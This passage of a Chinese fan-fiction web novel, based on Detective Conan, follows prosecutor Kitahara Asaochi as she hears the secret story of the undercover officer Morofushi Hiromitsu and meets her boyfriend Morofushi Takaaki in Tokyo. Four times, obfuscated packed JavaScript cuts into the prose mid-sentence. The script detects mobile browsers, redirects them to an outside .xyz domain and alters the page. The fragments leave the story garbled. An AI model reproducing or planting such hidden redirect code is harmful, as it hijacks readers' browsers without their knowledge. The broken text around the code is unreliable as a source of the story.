对方似是有些情绪低落,先前眼中的傲气全无,大概是已经知道池田正志中毒的前因后果了。 “我来看看前辈。” “好,”诸伏景光让开,“叔叔还没醒,但是医生说了,没什么大碍。” 北原浅落点头,在病床边坐下。 见她不说话,诸伏景光走到一边,给她倒了杯水。 “北原小姐,喝点水吧。” 她抬头,借着病房的灯光细细端详诸伏景光的面容。 不愧是兄弟,那双眼睛,和他像极了。 她接过水杯,却只是捧在掌心,半晌,她小声喃喃:“叫叔叔叫得还真是顺嘴呢……” 刚在椅子上坐下的诸伏景光一愣,几秒后才反应过来对方这是在明里暗里吐槽他现在池田正志侄子的身份,不禁一笑,看来,她调整心态的能力不错。 “是,谁让他是我叔叔呢。” 北原浅落轻哼了一声,想起此行的第二个目的。 “现在,你可以说了,你的故事。” “北原小姐,你不是不想知道我的故事吗?”诸伏景光笑得人畜无害,语气温温柔柔。 知道他是在call back自己下午说的话,北原浅落喝了口水,没有半分不好意思:“我现在又想知道了。” 她一句软话都没说,甚至连“辩解”都没有一句。 诸伏景光笑中的温柔转为无奈,瞧了眼病床上的人:“你确定要在这里说?” “去天台吧,那里现在不会有人。” “天台啊……” 北原浅落敏锐地察觉到对方语气中的异样,问道:“怎么了吗?” “没怎么,”诸伏景光起身打开病房门,医院的消毒水味道再度清晰起来,“我只是在想,去天台的话,不喝酒可惜了。” “喝酒?” “对,喝酒,”等北原浅落走出病房,诸伏景光轻轻带上门,“今天晚上月色不错,天台上又有风,喝酒最合适了。” 对方说的有道理,北原浅落犹豫了。 “我开车了,不能喝酒。” “那我自己喝。” “行,酒呢?”北原浅落向诸伏高明伸手,却换来对方一个得逞的笑容。 “酒的话,还得麻烦北原小姐替我下去买了。” “你知道的,我身份特殊,不能抛头露面。” 原来是在这等她呢,北原浅落在心里默默翻了个白眼。 “那你今天下午怎么在那么多人面前冲上讲台算怎么回事?”抱怨归抱怨,北原浅落还是边说边走向电梯,“我去买酒了,你去天台等我吧。” * 夜色已深,东京的喧嚣化为脚下一片流动的光海。风不间断掠过,带着都市夜晚特有的燥热。 诸伏景光伸手覆上自己的胸口,三年前,自己就是在这样的高空,毫不犹豫给了自己一枪。 吱呀—— 天台的铁门被打开。 “久等啦!” 抬眼,见到诸伏景光右手放在胸前,面色戚戚,北原浅落立刻想起他之前的“牺牲”。 他是自杀,手机上有弹孔。 他是在天台上自杀的? “抱歉,”北原浅落将手中的啤酒递给诸伏景光,“我不知道……我们去别的地方吧。” “没事,”诸伏景光单手握住啤酒,拇指轻轻一抬,打开啤酒拉环喝了一大口,冰镇的啤酒又凉又哭又涩,“就这吧,安静,空旷,还能看到东京的夜景,多好。” 北原浅落没有再劝,旋开手上的果汁抿了口。 “怎么只买了一瓶?”诸伏景光手肘搭在栏杆上,晃了晃已经空了一半的易拉罐。 北原浅落奇怪地看了他一眼:“我不喝啊。” “我一个人也能喝两瓶。” “那我再去给你买一瓶?” “不用了,喝太多,要是被我哥知道,会被说的吧。”诸伏景光对着夜空一笑,“北原小姐,你在长野任职的话,见过他吗?就算没见过,总听说过吧?诸伏高明,他是一名很优秀的警察。” “是,他很优秀。”北原浅落说得十分笃定。 “你见过他?”诸伏景光转头看向北原浅落。 “啊是的,有几个案子,是他负责和我交接。”北原浅落将被风吹乱的头发挽至耳后,选择暂时隐瞒他们的真正关系。 没想到,下一秒,对方就否定了自己的回答。 “说谎。” 诶? “北原小姐,你别忘了,我是一个潜伏了好几年的卧底,察言观色是最基本的技能。”诸伏景光轻笑,仰头喝了口啤酒。 “这也不算说谎吧,我真的和他有工作上的往来啊。”北原浅落掩饰性地跟着喝了口手上的果汁。 “那就是部分隐瞒事实。”诸伏景光迅速下了新的结论。 怎么办,他好讨厌,怎么不像之前那样好糊弄了。 “没事,北原小姐不想说也没关系,毕竟今天的主题不是审问你,是审问我。” 昏暗的光线下,他整张面庞几乎要隐于黑暗,他就是带着这副坚毅,毅然决然走入黑暗。 自己和他,仿佛是光与暗的两个世界,但微光之中,她看见他冲自己眨了眨眼。 “我得到的命令是对你毫无保留,所以,北原小姐,你想问什么都可以。” 北原浅落突然觉得内心沉重万分,事情纷纷杂杂,千头万绪,从哪开始呢? “池田前辈,也是公安吗?” “嗯?”诸伏景光没想到对方先问出口的居然是这个问题。 “不然公安怎么会安排你跟着池田前辈?” “严格来说,他不算公安,”诸伏景光思索着如何解释,“但他确实和公安联系很深,他在检察厅内部负责统筹和公安相关的案件,算半个公安吧。” “我刚醒来那段时间,叔叔他刚好在住院疗养,他猜出了我的身份,级别也够,我就被允许和他来往,还好有他,那段时间才没那么寂寞。后来他出院了,也时不时来看我,没想到他没过多久又来住院了,只是这次不能再保守治疗了,得做手术。” 北原浅落想了想,问出另外一个困扰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16199820|179354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己的问题:“既然池田前辈不算公安,为什么事件的调查不让警视厅参与?” “因为,叔叔出事的时候,我们不知道这是冲叔叔来的还是冲我来的。” “什么?”北原浅落立刻明白对方的言下之意,大为震惊,“那是你的保温杯?” “是,叔叔今天出门的时候忘带了,我就把我的杯子给他了。” “我就知道这个杯子有问题,之前都没见过。” “但是事实证明不是杯子的问题嘛,我是‘清白’的。” 北原浅落没有马上接话,就像从浅水区慢慢涉入,接下来,她不得不去触及更隐秘的深水区。 她望向夜空,一架飞机在天上翱翔,红色的灯光一闪一闪,昭示着它的存在和移动。 身旁的人也不催促,只是喝着啤酒,静静等着。 察觉到他似乎把酒喝完了,北原浅落忍不住嘟囔:“这么快喝完了,待会怎么办?” “待会要谈的事,不适合喝酒。”诸伏景光轻轻一捏,手中的易拉罐应声而瘪。 北原浅落抿了抿嘴唇,一口接一口喝着果汁。 半晌,她说道:“那就从你卧底的地方开始谈起吧。” “好,这可说来话长了……” 夜已深,晚风越发吹得厉害,北原浅落的头发也被吹得越发凌乱,可她没有去打理,只紧紧握着手上的塑料瓶。 “所以,从那天起,你昏迷了两年半?” “是啊,刚醒来的时候,一下子大了三岁,还真有点不习惯。”诸伏景光摸着自己胸口,感受怦怦跳动的心脏,当初那一枪,在感受到疼痛前,他就已经不省人事,他抱着必死的决心,大概是上天对他决心的奖赏,他居然活下来了。 “组织真的已经覆灭了?” “是的,但是不能排除有少数几个漏网之鱼,所以,我现在还不能光明正大做回诸伏景光,得先过渡一下。” “那这个过渡期什么时候能结束?” 诸伏景光笑了笑,寂寥的黑夜中,他的声音越发清晰。 “谁知道呢?可能明天,也可能一辈子。” 北原浅落一直揪紧的心脏仿佛被一颗子弹击中,他说得那么平常,那么云淡风轻,似乎他们只是在讨论明天吃什么。 “那你的意思是,有可能瞒诸伏警部一辈子,让他一辈子都活在亲人去世的阴影中?” “是,虽然遗憾,但这也是没办法的事,”诸伏景光眺望远方,黑幕的边缘因城市的灯光隐隐发亮,“而且,哥哥他这么聪明,不会让自己活在亲人去世的阴影中的。” “谁说他不会的。” 北原浅落转头凝视诸伏景光,努力从模糊的光影中勾勒出对方的模样,努力从他的眉眼中寻找诸伏高明的影子。 毫无征兆地,她将手中的瓶子朝他用力一扔,却被对方轻松抓住。 “谁说他不会的。” 北原浅落重复了一遍。 “再聪明的人,面对至亲的去世,都无法真正做到释然,他只是太聪明了……”她吸了吸鼻子,偏过头,声音染了些沙哑,“把对你的爱,对你的思念,对你们过往的一切藏在心里,他隐藏得太好了。” 对方迟迟没有回应,北原浅落转头,发现对方直愣愣看着自己,良久,那双清亮的眸子由惊转笑,好心地将果汁递了回来。 “北原小姐,你和我哥,究竟是什么关系?” 26.第 26 章 羽毛般的云朵恰巧在此时离开月亮,月色更加透亮。 北原浅落将果汁接过来,避开对方的视线:“工作关系。” 诸伏景光显然不信,笑着追问:“只是工作关系?” “我们还是很好的朋友。”北原浅落努力控制自己的神态动作,默默祈祷对方别再问了。 “好朋友?” 诸伏景光越笑越大声,倒是让北原浅落有些莫名其妙了。 “对啊,你笑什么?不行吗?” “没什么,我只是想起了第一次见到你的情景。” “你记得我?”北原浅落一愣,她以为他不会记得自己这个只有过一面之缘的人。 “无论是谁,见到你这样记性好到可怕的人都不会忘了的吧?” 当初他们几个见义勇为之后,对方声称有位做律师的手眼通天的父亲,叫嚣着法庭上见。就在这时,她一脸不耐烦地出现了,张口就是一条条法律,几乎是对方每说一句,她就从法条中找到一条依据予以反驳,说得对方哑口无言,也说得他们目瞪口呆。 “我那时候问你要不要介绍我哥给你认识,你可是一脸冷漠地拒绝了。”说到此处,北原浅落目光中增添了几分警告的味道,诸伏景光收敛了点笑容,却并没有停下,“现在你居然是我哥的好朋友,真是难以置信啊!” “你不是也一样,”北原浅落换了个姿势,右手搭在栏杆上,半侧过身对着诸伏景光,“当初你可不像现在这样,那时候的你整个人都是温温柔柔的,非常亲切,一看脾气就很好。” “我现在看起来脾气不好吗?” 对方的反问接得迅速,北原浅落一时语塞。 “也没有啦,就是觉得和之前相比,少了点什么……” “是少了点什么。”诸伏景光坦然点头,和22岁的诸伏景光相比,他少了天真,少了坦率,卧底生涯让他每说一个字、每听见一句话都要思虑再三,步步雷池,他得活下去,还得完成任务。 “我不再是你记忆中那个诸伏景光了,其实说实话,我都要忘了那时候的诸伏景光是什么样子……” “但是北原小姐,你记得的吧,那时候的诸伏景光?” “诶?”北原浅落正想着如何安慰他,却突然听到了自己的名字。 诸伏景光看着她,亮晶晶的眸子中闪着名为期待的东西:“叔叔和我说,你过目不忘,不管是什么,只要你见过,你就会一直记得。” “嗯,我当然记得,我还记得你那天左手食指上贴了个创口贴。”北原浅落特意挑了个无关痛痒的细节,那时候的他,整个人散发着圣母般的光芒,她一眼就知道他是个好脾气的,但是现在,她不敢说她一眼就能知道他什么。 “那就好,还有人记得,北原小姐,谢谢你。”诸伏景光低头,看着没有伤口的左手食指,他早就忘了当初这个小伤,但是还好,她记得。 “这有什么好谢的,”北原浅落喝完果汁的最后一点剩余,“我也不是主动记下来的,是我的记忆自动收录的。” “这个技能真好,”诸伏景光感叹,“北原小姐,其实,你很适合当卧底,过目不忘,能避免很多麻烦。” “我?”北原浅落一愣,随即被逗笑了,“你别开玩笑了,我不行的。我刚刚没说几句话你就看出来我部分隐瞒事实,我怎么当卧底?去了也会被马上发现。” “所以你隐瞒了什么事实?” 北原浅落白了他一眼,转身朝铁门走去:“你刚刚说了,今天是审问你,不是审问我,想知道就自己去查吧,公安先生。” “我们下去吧,去看看池田前辈,然后我要回家了。” * 晚风从半开的车窗呼呼灌入,夜已深,她却没有丝毫困意。 多年的卧底生涯确实改变了他,所以当他问到过去的自己时,怕惹他伤心,她只敢说些无关紧要的。 他偶尔流露出来的深沉凝重是她未曾感受到过的。 她不敢说自己凭多年前的萍水相逢就能了解他,但一眼望过去,整个人带给自己的感受是不会骗人的。 好在,他还活着。 好在,他的底色仍在。 她轻手轻脚走进家,却发现客厅亮着盏昏黄的落地灯,她爸换了家居服靠着沙发睡着了。 听见门口的动静,北原修司睁开眼,坐直了身体:“回来啦。” “爸,你怎么还没睡?妈呢?” 北原修司揉了揉眉心:“你妈已经睡了,我等你回来再睡。” “行了,现在你的疑问应该都解开了吧,很晚了,去睡吧。” 北原修司走近女儿,和她一起向楼梯走去。 “爸,你们以后对诸伏景光好点。” “好点?”北原修司一怔,上下打量了女儿几眼,“现在还不够好吗?都让他当正志的侄子了。” “那、那就再好一点。” “行,那就再好一点,我看你妈也很喜欢这个年轻人。”北原修司放轻脚步走上楼梯。 “对了,爸,你知道公安那边为什么要派他去当卧底吗?”北原浅落跟着压低声音,“总感觉之前的他不太适合做一个卧底。” “据说是公安那边看上了他的一个特质,才派他去的。” “特质?” “嗯,具体的我也不太清楚。” 北原浅落突然想起晚上诸伏景光对她说的话。 “爸,说到特质,你不觉得,我很适合去做卧底吗?过目不忘什么的,很方便吧?” 北原修司脚步一顿,扶着栏杆的手不自觉收紧几分,而后同平常一样睨了女儿一眼:“你确定你很适合?” “首先,你不能很好地控制自己情绪,今天在审讯室冲出去对嫌疑人说的那些话太冲动了,这对一名卧底来说是大忌;其次,你不是警察,没有受过系统的训练,连自保的防身格斗都不会。现在,你还觉得你很适合去做卧底吗?” “好嘛好嘛,我只是随口一说,爸你那么严肃干嘛?我当然知道我不适合做一名卧底啦,我还是老老实实继续做我的检察官吧。” “不过,”北原浅落挽住父亲胳膊,得意地冲他歪头一笑,“今天在审讯室,爸你明明也很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16209565|179354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想替池田前辈出气吧,只是碍于身份不能亲自下场,不然我哪能那么顺利,对吧?” “自作聪明。”北原修司将女儿的手拉开,“我回房了,你也早点睡。” “是,爸晚安。”北原浅落见好就收,溜回自己房间轻轻关上门。 北原修司的面容转向凝重,打开卧室门,妻子给他留了盏床头灯。 那件事,他几乎都要忘了。 就在北原浅落毕业那年,公安高层的同僚找过他。 过目不忘,的确是太引人注目的一个特质了。 他当场拒绝了。 双方你来我往,相互劝说。 最后,他只留下一句话。 “就当这是一位父亲的私心吧。” * 洗漱完毕已近十二点,头发吹到一半,北原浅落突然想起诸伏高明晚上给她发的消息还没回。 她连忙放下吹风机,拿过手机给他回复。 刚发了一句话,正在编辑下一句,对方的电话就打过来了。 他居然还没睡? 北原浅落按下接听,小心瞥了眼房门,又走向窗边拨开窗帘确认窗户关好。 “浅落。” 对方的声音已经从听筒里传来。 北原浅落应了一声,问道:“诸伏警部,你这么晚了还没睡啊?” “想着你下午打电话的时候状态有点差,就一直在等你的消息。” “抱歉抱歉,晚上有点忙。”北原浅落道歉的同时只得给出模棱两可的答案,虽然她不想瞒着他,但她确实不能告诉他诸伏景光活着的消息,至少暂时不能。 诸伏高明正坐在床上看书,听到这话,摩挲着页脚的手一顿,下一秒,他翻了一页。 “没关系,我看到你发的消息了,池田前辈没有生命危险,真的是太好了。” “是的,就和你说的一样!”北原浅落抬起双脚,整个人靠在沙发上,“不过就是案件背后的故事太让人唏嘘了,就和农夫与蛇的故事一样……” 诸伏高明耐心地听着北原浅落絮絮叨叨讲述事情的来龙去脉。 末了,北原浅落轻声发问:“诸伏警部,你说,为什么会发生这种事呢?” “大概,这就是人们所说的‘被仇恨蒙蔽了双眼’吧。一旦被仇恨左右,人的认知力和判断力就会不可靠。不过,好在池田前辈好人有好报,最后没有大碍,所以,人世间还是值得的。” 是值得的,他是失去了很多,但是,他也得到了许多珍贵的东西,比如大和敢助和上原由衣,他从小就与他们结下了深厚友谊,又比如,上天让他遇到了她。 “是,”北原浅落跟着点头,想到诸伏景光,她声线不禁雀跃了几分,“诸伏警部,你也会好人有好报的!你也要相信人间值得啊!” 总有一天,她会告诉他这个消息;总有一天,他们会见面的。 “嗯,我一直相信,不然,你不会出现在我的世界。” 北原浅落的脸腾地一下变红,天哪,这也太犯规了。 “是我要谢谢你的出现才对……” 27.第 27 章 为了等池田正志出院,北原浅落特意申请了休假,在停职的基础上又延长了几天。 出院那天中午,北原夫妇在家准备了一场家宴。 北原浅落随手夹了块炖牛肉放入碗中,还没吃就听见身旁的母亲夸奖:“景光,没想到你厨艺这么好,这炖牛肉真好吃!” “伯母过奖了!”诸伏景光谦虚一笑。 “没有没有,一点也没有过奖!”北原理纱拿起勺子分别给丈夫和池田正志捞了一块,“你们也赶快尝尝,景光,你一定要把秘诀交给伯母。” 有这么夸张吗? 北原浅落轻咬了一口,同样被惊艳,软烂之中混杂着几分草的清新香味。 这个味道,她在长野尝过,却明显比在长野那次还要恰到好处。 厨艺也会遗传吗?她暗暗瞥了诸伏景光一眼,对方正笑吟吟回复自己的母亲:“也没有什么特别的秘诀啦,就是炖煮的时候加了些紫苏。” “这样,下次我也要试试。” 池田正志一脸骄傲:“怎么样,我没说错吧?景光的厨艺是很好吧?” “是是是,正志,有这么个侄子,你可有口福了!” “是啊,”池田正志慈爱的目光看向诸伏景光,“谁能想到在这个年纪我还能有个侄子呢?” 说完,池田正志转向埋头吃饭的北原浅落:“浅落,理纱和我说,你在长野交了个男朋友?” 此话一出,北原浅落立刻感受到饭桌上的目光都齐刷刷向她射来,连忙放下筷子,略带拘谨地点头:“是的。” “前段时间还听你爸妈念叨,让我帮忙物色几个,没想到到了长野,反而找到了。” “是很意外,我也没想到。” 这是实话,她的确没想到,原以为只是个寻常的工作调动,没想到会谈恋爱,更没想到恋人居然是多年来念念不忘的追寻对象。 “真的吗?是谁啊?”诸伏景光蓝灰色的眼睛里闪着狡黠的精光,“长野的话,说不定我认识哦。” “不告诉你。”北原浅落毫不犹豫拒绝了对方的直接询问,她原本是打算趁这次回来对家人们和盘托出的,但是,谁能想到出现了诸伏景光这个变数。 谁能想到他居然还活着啊,不仅活着,还和自己家里走那么近。 不行,和诸伏高明交往的事得慢慢和家里说,从长计议,不然怎么想怎么尴尬…… 北原理纱扑哧一笑,和丈夫对视了一眼:“别藏着呀浅落,我和你爸都很想知道。” “是,有机会的话,带家里来见见吧。”北原修司点头,他相信女儿的眼光,但也要自己掌眼过才行。 “之后吧,”北原浅落红了脸,现出羞怯的情态,“我们才交往没多久……” 见到北原浅落这副样子,池田正志心中不免遗憾,自己这个“侄子”没机会了,她是真的陷入爱河了。 “那还真是遗憾啊……” “没事的池田前辈,之后,之后会有机会介绍你们认识的。” 就是希望到时候他们别太惊讶。 切饭后水果的时候,诸伏景光进来帮忙,借机继续打探:“北原小姐,你的男友到底是谁啊?不会真是我认识的人吧?” “啰嗦!”北原浅落切哈密瓜的手一歪,“你这么八卦的公安不去当娱乐记者可惜了。” “再说了,”北原浅落理智值上升了一些,瞥了诸伏景光一眼,“你在东京长大的,长野的人都不认识几个吧?” “行吧行吧,”诸伏景光端起果盘向外走去,“不过我总有种直觉呢,北原小姐的交往对象,会是个惊喜。” 对他来说,算是惊喜吗? 北原浅落忍不住想,就在这时,响起的手机铃声先给她带来了惊喜。 五分钟后,她拿起链包冲出家门。 “爸妈,我突然有事出去一趟!” * 诸伏高明望着身前三三两两凑在一块的昔日同窗,当初风华正茂的他们此时耳边已响起中年的警钟,有几位甚至已经有了白头发。 和几位关系较好的同学交谈后,诸伏高明趁众人不注意走出法学部大楼,在楼前的小花园里踱步。 十多年过去,树木茂盛浓密更甚从前。 小径旁的座椅早已换新,不再是过去的模样。 “你为什么要进入法学部?” 他面上掠过一丝怀念的神情。 那时候,他刚从繁重的法学课业中抽身,来到花园漫步。也是凑巧,走到这里的座椅附近时,一张小纸条从扶手的空隙中掉落。 他走近捡起,上面是这样一个简单又复杂的问题。 从字迹判断,这是一个稍显稚嫩的学生,或许是国中生,也可能是高中生? 正是对未来迷茫又有许多幻想的时候。 于是,他认真思考起这个问题,给出了自己的答案,塞入扶手。 就这样,他们开始了将近两个月的每周通信,直到他给出最后一封回信,再下一周,他按照时间来到这,前后寻找,没有信的踪迹。 既没有他的,也没有她的。 此后,杳无音讯。 这个孩子,大概也三十了吧,时间过得真快呢。 “诸伏,你在这啊。” 突然响起的女声让他抬头望去。 来人穿着高跟鞋,哒哒的脚步声越来越响。 “你真的来了?”女人笑着撩了撩头发,“我还以为你这次和之前一样,不会来参加这种活动呢。” “长泽桑,好久不见。”认出来人后,诸伏高明起身打招呼。 “是好久不见了,”见对方认出了自己,长泽佳奈心情颇好,看见诸伏高明空荡荡的手指,嘴角上扬的弧度继续扩大,“看来,和大学时候一样,你这个高岭之花还没有被摘下呢。” 她大胆接近,手指指尖触碰对方胸前的衬衫扣子:“诸伏,这次,你确定不考虑考虑我吗?” 浓郁的香水味充斥鼻尖,和她一样,充满攻击性。 他下意识往后退了一步,刚想开口,却先听到了自己的名字。 “诸伏高明!” 他往她身后看去,他的姑娘难得露出一脸不爽的表情,气冲冲向他走来,随之而来的还有对他的质问。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16214701|179354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“你在干什么!” “浅落,我……” 没等他说完,北原浅落瞪了他一眼,而后挡在他身前对长泽佳奈说道:“这位小姐,这是我男朋友,请你自重。” 接到电话后,她就迫不及待开车来了东大,停好车后匆匆往法学部这边赶。 谁能想到,赶到后看到的竟是这样一出好戏。 她盯着面前的女人,远远地,她就见到了对方的一袭红裙,现在,她才发现对方的口红也是异常张扬的正红色,指甲也是。 女人上下打量了自己几眼,轻蔑一笑,说道:“诸伏,这是你女朋友?” 这是什么意思?看不起自己吗? 还没等她想明白,自己左手就被多日未曾触碰的温热牵住,而后十指相扣。 “是的,这是我女朋友,所以,长泽桑,有些玩笑实在不能开。” 北原浅落在心里哼了一声,也行吧,给双方都留点面子。 出乎她意料,对方似乎并不领情。 “诸伏,我可不是开玩笑,”女人再瞟了自己几眼,毫不客气地笑了,“你喜欢这种类型的吗?虽然说男人都喜欢年轻漂亮的,不过,没想到诸伏你也会这么俗。” “呵,诸伏,年轻是好,但是在某些时候,不会觉得太生涩了吗?”女人当着自己的面冲诸伏高明妩媚一笑,毫不顾忌她的存在,“我的承诺一直有效哦。” 而后,女人看向她,眼神中满是不屑和挑衅:“小姑娘,他的年龄、阅历,甚至思想,都远在你之上,你确定你能驾驭这样一个男人?” “太天真了。” 说完,长泽佳奈转身离开。 北原浅落快走几步,挡住长泽佳奈。 “这位女士,你一不认识我,二不了解我,凭什么说我的年龄、阅历和思想不如他,凭什么说我天真,天真的是你吧?” “天真地以为凭短短几句话就能破坏我们的感情,天真地以为自己可以乘虚而入。” “他是我男朋友,我当然能驾驭他。” 与之前不同,等她说完,对方认真盯了她两秒,而后,北原浅落看见她嘴角轻勾。 “被你发现啦,小姑娘挺聪明。” “我记住你了。” 而后,对方又冲她身后的诸伏高明抛了个媚眼:“诸伏,我们后会有期。” 哒哒的高跟鞋渐渐远去。 “浅落……” 北原浅落转身,后知后觉闻到对方衣襟上沾染的香水味,嫌弃地皱眉:“别叫我,你这个俗气的、喜欢年轻漂亮女人的男人。” 下一秒,她就被这个俗气的男人拉入怀中。 “如果喜欢你是俗,那我承认我是个俗气的男人。” 北原浅落抬手轻捶了对方两下,闷闷道:“她是谁啊?” “我大学同学。你放心,我和她之间什么都没有。” “那可不一定,”北原浅落重重戳了诸伏高明胸口两下,“诸伏警部,我看对方对你用情至深啊。” 胸前传来的痒意和醋意让诸伏高明忍不住弯了嘴角。 “但我喜欢的是你啊。” 28.第 28 章 爱人的告白是世界上最甜的蜜。 北原浅落依偎在诸伏高明怀里,听着他沉稳有力的心跳,一下,一下,又一下。 还说他俗呢,自己好像也不能免俗,就这么一句话,她就不想追究了。 “你来东京参加同学聚会,昨天晚上在电话里居然都不和我透露一下?”北原浅落仰起脸问道。 诸伏高明低头,鼻尖蹭了蹭对方的:“想给你个惊喜。” “惊喜?”北原浅落的眼睛一眨一眨,眼里映着的全是眼前的男人,但她偏要侧脸躲开他即将落下的吻,偏要明知故问,胡乱解读,“什么惊喜?你是来参加同学聚会的,见我只是顺便。” 诸伏高明一笑,手指抚上北原浅落下颌与脖子间的皮肤,轻轻摩挲,惹得女孩笑着就要躲:“痒。” 诸伏高明顺从地拿开了手指,渐渐往下巴挪,而后用无名指抵住,大拇指和食指轻轻一扳,再一次,她眼中的自己一览无余。 这一次,他没有犹豫。 是熟悉的柔软触感,是他肖想已久的吻。 或许,比他记忆中的还要柔软,还要迷人。 感受到女孩刹那的呆愣,也感受到她反应过来后的默许与顺从。 于是,他收紧了搭在女孩腰间的手,带着积攒已久的渴望与思念加深这个吻,引领着,撩拨着。 等到最后分开,他的额头却仍抵着她的,两人的呼吸都有些乱。 她应该也能看见,自己的眼里全是她。 “不是顺便。” “啊?”北原浅落下意识应了一声,她还尚未从吻的余味中走出,声音带着暧昧的沙哑与朦胧。 她的反应显然取悦了面前的男人,对方在她的唇上轻轻一触:“同学聚会只是来东京的借口。” “我想你了。”诸伏高明拉开了些距离,手指揉捏着对方滚烫的耳垂。 北原浅落觉得自己快要在他的眼中溺死了。 她心甘情愿。 于是,她踮脚追了上去,同样在他的唇上一触即分。 “我也是,”北原浅落盈盈一笑,“我也很想你。” 眼见对方眸色变深,又有吻上来的迹象,北原浅落忙伸手捂住对方:“会有人来的……” 刚刚没人过来已是幸运,她可不想被人看见。 她朝四周张望了眼,后知后觉他们现在所处位置是多么特殊。 见女孩突然怔住,诸伏高明轻轻拿下她的手:“怎么了?” “没怎么,”北原浅落望向花园中心高大的银杏,语气中满是怀念,“就是突然觉得,时间过得好快啊……” 那时候收到回应的惊奇还历历在目,心照不宣地在扶手椅回信的举动也犹在眼前。 那时候,他们都没提及自己的姓名,仅仅是信笺的往来;这时候,他们认识了,那段信笺往事却被掩埋了。 人世间的因缘际会,真的无法想象。 “确实,”诸伏高明牵起北原浅落的手,低头询问,“我们在学校里走走?” “你的同学聚会呢?这么溜了好吗?”虽然嘴上这么说,北原浅落却已经拉着诸伏高明往外走。 诸伏高明哑然失笑:“都说了这只是个借口……” 两人牵手在校内的林荫道上漫步,不时遇见几对校园情侣,北原浅落突然想,她这算不算是迟来的“校园恋情”? 对了,刚刚那位女士是他的同学。 “诸伏警部,大学的时候,你就这么受欢迎吗?” “还在吃醋?”诸伏高明轻捏了一下掌中的手。 “没有没有,就是好奇嘛。”她还不至于这么“小气”。 诸伏高明回想了两秒:“是有两三位女生对我表白过。” “那也算挺受欢迎了,毕竟是年级第一嘛,肯定会有人喜欢的。”北原浅落大方表示理解。 “那你呢?”诸伏高明笑了笑,同样探寻她的学生时代,“你应该不止听到过两三位男生的表白吧?” “大一的时候是比较多啦。”北原浅落不好意思地笑了两声。 诸伏高明挑了挑眉,能让她这么含糊其辞,看来不是一般的多。 “所以是有几个?你应该记得很清楚才对。”诸伏高明调侃道,目光捕捉女孩脸上的每一丝神态,说出口不久,他又后悔了。 她记性这么好,那些人她肯定都还记得,记得他们的名字,记得他们的样子。她现在,正在一个个回忆着他们。 他忽然有些吃味。 “别想他们了。” 北原浅落察觉到头顶传来温柔的抚摸。 “我不问了。” “八个,”北原浅落将准确数字报了出来,“大一的时候是八个,整个大学期间是十二个。” 见对方没察觉自己的酸意,诸伏高明无奈地叹了一口气:“在这方面,你可以记性差一点的。” 北原浅落摇头,言语间颇为自豪:“没办法,这可不是我能主观控制的哦诸伏警部。” “不过,大学期间这有时候确实是个困扰。” “嗯?” 如果说工作期间,他非常理解,与案件相关,总是避不开一些东西,她记性这么好,如果不能很好地排解,这会是一个很大的心理障碍。 但是,大学期间? 这项天赋应该都是利好才对。 北原浅落看向路上的行人:“就像这样,每一个见到的人都会印在我脑子里,所以,某个男生或者女生,换了几个对象,我可能都知道。上个月,明明身边牵着手的是那个人,下个月,可能就是另外一个人了。” “后来,会有女生来问我她男朋友有几位前任,借此看对方有没有说谎。” “啊?”诸伏高明难掩惊讶,这确实是他想不到的点。 “是很奇怪啦,这种事,我怎么能说呢,而且我见到的也不一定就是全部,一个不好,人家就分手了,说不定还要怪我。”提起这个,她也很无奈,不知是哪位女生想到这种利用她天赋的方法,等到一名学妹鼓起勇气拦住她,递上男友的照片时,她才发觉自己好像被坑了。 “所以有因为这个分手的吗?” “当然没有啦,说了这种事不能乱讲嘛,虽然也不算乱讲就是了,我对找上门的人都拒绝了,渐渐地,他们也就不来找我了。”不过,对于其中一个明显被渣男骗的女生,她私下里做了匿名的提醒。 “这确实是出人意料的困扰呢。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16247105|179354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “是啊,谁能想到嘛……” 两人逛完校园后一起吃了晚饭。 回停车场的路上,北原浅落问道:“你明天什么时候走?我们一起开车回长野吧。” “不,我没有开车,我是坐新干线来的。”诸伏高明嘴角闪过一丝狡黠的笑容,“浅落,我只买了来东京的票,没买返程。” 